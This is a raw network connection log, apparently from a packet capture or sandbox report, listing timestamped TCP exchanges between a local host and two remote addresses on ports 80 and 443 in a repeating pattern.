Jan 10, 2025 21:41:25.115061045 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:25.115154982 CET	49798	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:25.115459919 CET	49798	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:25.115478039 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:25.163752079 CET	49792	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:25.752176046 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:25.754344940 CET	49798	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:25.754371881 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:25.754441023 CET	49798	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:25.754450083 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:26.308253050 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:26.308345079 CET	443	49798	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:26.308418989 CET	49798	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:26.308866024 CET	49798	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:26.312591076 CET	49792	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:26.313631058 CET	49804	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:26.317842960 CET	80	49792	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:26.318032026 CET	49792	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:26.318542957 CET	80	49804	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:26.318614006 CET	49804	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:26.318744898 CET	49804	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:26.323688030 CET	80	49804	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:27.155415058 CET	80	49804	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:27.157305956 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:27.157366991 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:27.157450914 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:27.157799006 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:27.157814980 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:27.210422039 CET	49804	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:27.818892956 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:27.821190119 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:27.821213007 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:27.821291924 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:27.821302891 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:28.116904974 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:28.117125034 CET	443	49811	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:28.117189884 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:28.117484093 CET	49811	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:28.120760918 CET	49804	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:28.121686935 CET	49820	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:28.125720978 CET	80	49804	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:28.125812054 CET	49804	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:28.126466036 CET	80	49820	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:28.126554012 CET	49820	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:28.126822948 CET	49820	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:28.131551027 CET	80	49820	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:28.982959032 CET	80	49820	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:28.984250069 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:28.984306097 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:28.984386921 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:28.984782934 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:28.984798908 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:29.038481951 CET	49820	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:29.649374962 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:29.650975943 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:29.651010990 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:29.651066065 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:29.651076078 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:29.905714035 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:29.905798912 CET	443	49827	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:29.905927896 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:29.906438112 CET	49827	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:29.910214901 CET	49820	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:29.911444902 CET	49833	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:29.915169954 CET	80	49820	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:29.915322065 CET	49820	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:29.916274071 CET	80	49833	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:29.916517019 CET	49833	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:29.916517019 CET	49833	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:29.921374083 CET	80	49833	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:30.747426033 CET	80	49833	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:30.748826981 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:30.748869896 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:30.748939037 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:30.749304056 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:30.749316931 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:30.788479090 CET	49833	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:31.370058060 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:31.373018026 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:31.373040915 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:31.373352051 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:31.373358011 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:31.772351027 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:31.772434950 CET	443	49839	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:31.772715092 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:31.773044109 CET	49839	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:31.776349068 CET	49833	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:31.777510881 CET	49846	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:31.781281948 CET	80	49833	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:31.781389952 CET	49833	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:31.782308102 CET	80	49846	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:31.782437086 CET	49846	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:31.782521009 CET	49846	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:31.787285089 CET	80	49846	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:32.627525091 CET	80	49846	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:32.629067898 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:32.629105091 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:32.629268885 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:32.629477024 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:32.629487038 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:32.679169893 CET	49846	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:33.255597115 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:33.258011103 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:33.258030891 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:33.258217096 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:33.258223057 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:33.621393919 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:33.621476889 CET	443	49853	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:33.621555090 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:33.622726917 CET	49853	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:33.624743938 CET	49846	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:33.626013994 CET	49860	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:33.629688025 CET	80	49846	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:33.629759073 CET	49846	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:33.630888939 CET	80	49860	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:33.630953074 CET	49860	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:33.631115913 CET	49860	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:33.635850906 CET	80	49860	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:34.435841084 CET	80	49860	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:34.437100887 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:34.437139988 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:34.437217951 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:34.437480927 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:34.437494993 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:34.491622925 CET	49860	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:35.077043056 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:35.078672886 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:35.078707933 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:35.078768015 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:35.078778982 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:35.475795031 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:35.475883007 CET	443	49865	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:35.475936890 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:35.476366997 CET	49865	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:35.479499102 CET	49860	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:35.481152058 CET	49871	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:35.484694958 CET	80	49860	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:35.484766006 CET	49860	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:35.486030102 CET	80	49871	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:35.486218929 CET	49871	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:35.486218929 CET	49871	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:35.491036892 CET	80	49871	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:36.386353970 CET	80	49871	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:36.387816906 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:36.387873888 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:36.387953997 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:36.388259888 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:36.388276100 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:36.429163933 CET	49871	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:37.003693104 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:37.005363941 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:37.005393028 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:37.005523920 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:37.005530119 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:37.262103081 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:37.262406111 CET	443	49877	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:37.262475014 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:37.262741089 CET	49877	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:37.266856909 CET	49871	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:37.268197060 CET	49884	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:37.273026943 CET	80	49884	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:37.273091078 CET	49884	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:37.273180008 CET	49884	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:37.277957916 CET	80	49884	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:37.286305904 CET	80	49871	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:37.286386013 CET	49871	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:38.117928982 CET	80	49884	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:38.119961023 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:38.120017052 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:38.120115995 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:38.120388985 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:38.120407104 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:38.163501978 CET	49884	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:38.756692886 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:38.758919001 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:38.758939028 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:38.759030104 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:38.759035110 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:39.030203104 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:39.030287981 CET	443	49890	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:39.030338049 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:39.030689955 CET	49890	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:39.034212112 CET	49884	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:39.039202929 CET	80	49884	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:39.039246082 CET	49898	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:39.039269924 CET	49884	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:39.044080973 CET	80	49898	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:39.044161081 CET	49898	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:39.048686981 CET	49898	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:39.053472996 CET	80	49898	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:39.889874935 CET	80	49898	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:39.891071081 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:39.891115904 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:39.891232967 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:39.891587973 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:39.891604900 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:39.944811106 CET	49898	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:40.505352020 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:40.507098913 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:40.507110119 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:40.507335901 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:40.507349014 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:40.936034918 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:40.936125040 CET	443	49905	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:40.936424971 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:40.936659098 CET	49905	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:40.939572096 CET	49898	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:40.940754890 CET	49912	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:40.945647955 CET	80	49898	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:40.945769072 CET	49898	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:40.946731091 CET	80	49912	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:40.946892023 CET	49912	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:40.946892023 CET	49912	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:40.952836990 CET	80	49912	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:41.827558994 CET	80	49912	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:41.828829050 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:41.828862906 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:41.828931093 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:41.829257011 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:41.829267025 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:41.882349968 CET	49912	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:42.453913927 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:42.455708981 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:42.455782890 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:42.455846071 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:42.455871105 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:42.794537067 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:42.794621944 CET	443	49919	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:42.794717073 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:42.795136929 CET	49919	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:42.798664093 CET	49912	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:42.799791098 CET	49925	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:42.803870916 CET	80	49912	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:42.804043055 CET	49912	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:42.804692984 CET	80	49925	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:42.804750919 CET	49925	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:42.804886103 CET	49925	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:42.809643030 CET	80	49925	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:43.640191078 CET	80	49925	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:43.647059917 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:43.647106886 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:43.647192001 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:43.655545950 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:43.655585051 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:43.694798946 CET	49925	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:44.378536940 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:44.380114079 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:44.380131006 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:44.380177975 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:44.380188942 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:44.714180946 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:44.714247942 CET	443	49930	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:44.714498997 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:44.714806080 CET	49930	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:44.717835903 CET	49925	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:44.719067097 CET	49937	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:44.722821951 CET	80	49925	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:44.722887993 CET	49925	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:44.723844051 CET	80	49937	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:44.724029064 CET	49937	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:44.724029064 CET	49937	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:44.728869915 CET	80	49937	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:45.908823967 CET	80	49937	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:45.910046101 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:45.910103083 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:45.910226107 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:45.910645008 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:45.910666943 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:45.960429907 CET	49937	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:46.550931931 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:46.566801071 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:46.566828966 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:46.566905975 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:46.566914082 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:47.640085936 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:47.640137911 CET	443	49946	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:47.640376091 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:47.640870094 CET	49946	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:47.644108057 CET	49937	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:47.644706964 CET	49952	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:47.650289059 CET	80	49952	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:47.652956963 CET	49952	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:47.656416893 CET	49952	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:47.657730103 CET	80	49937	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:47.657825947 CET	49937	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:47.661185980 CET	80	49952	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:48.755964994 CET	80	49952	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:48.757460117 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:48.757491112 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:48.757554054 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:48.757894039 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:48.757905006 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:48.804207087 CET	49952	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:49.397973061 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:49.400182009 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:49.400207996 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:49.400490046 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:49.400500059 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:49.647073984 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:49.647188902 CET	443	49962	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:49.647258043 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:49.647737026 CET	49962	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:49.650878906 CET	49952	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:49.652040005 CET	49968	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:49.655827999 CET	80	49952	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:49.655886889 CET	49952	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:49.656866074 CET	80	49968	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:49.656933069 CET	49968	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:49.657025099 CET	49968	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:49.661792040 CET	80	49968	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:50.470134974 CET	80	49968	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:50.471539021 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:50.471585989 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:50.471652031 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:50.472048044 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:50.472065926 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:50.522934914 CET	49968	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:51.082701921 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:51.084408045 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:51.084428072 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:51.084518909 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:51.084523916 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:51.526190042 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:51.526289940 CET	443	49973	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:51.526335955 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:51.526846886 CET	49973	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:51.532082081 CET	49968	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:51.533849955 CET	49981	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:51.537055016 CET	80	49968	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:51.537111044 CET	49968	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:51.538633108 CET	80	49981	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:51.538743019 CET	49981	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:51.540098906 CET	49981	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:41:51.544915915 CET	80	49981	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:52.380743027 CET	80	49981	132.226.8.169	192.168.2.9
Jan 10, 2025 21:41:52.382080078 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:52.382138014 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 21:41:52.382205009 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:52.382522106 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:41:52.382538080 CET	443	49988	149.154.167.220	192.168.2.9
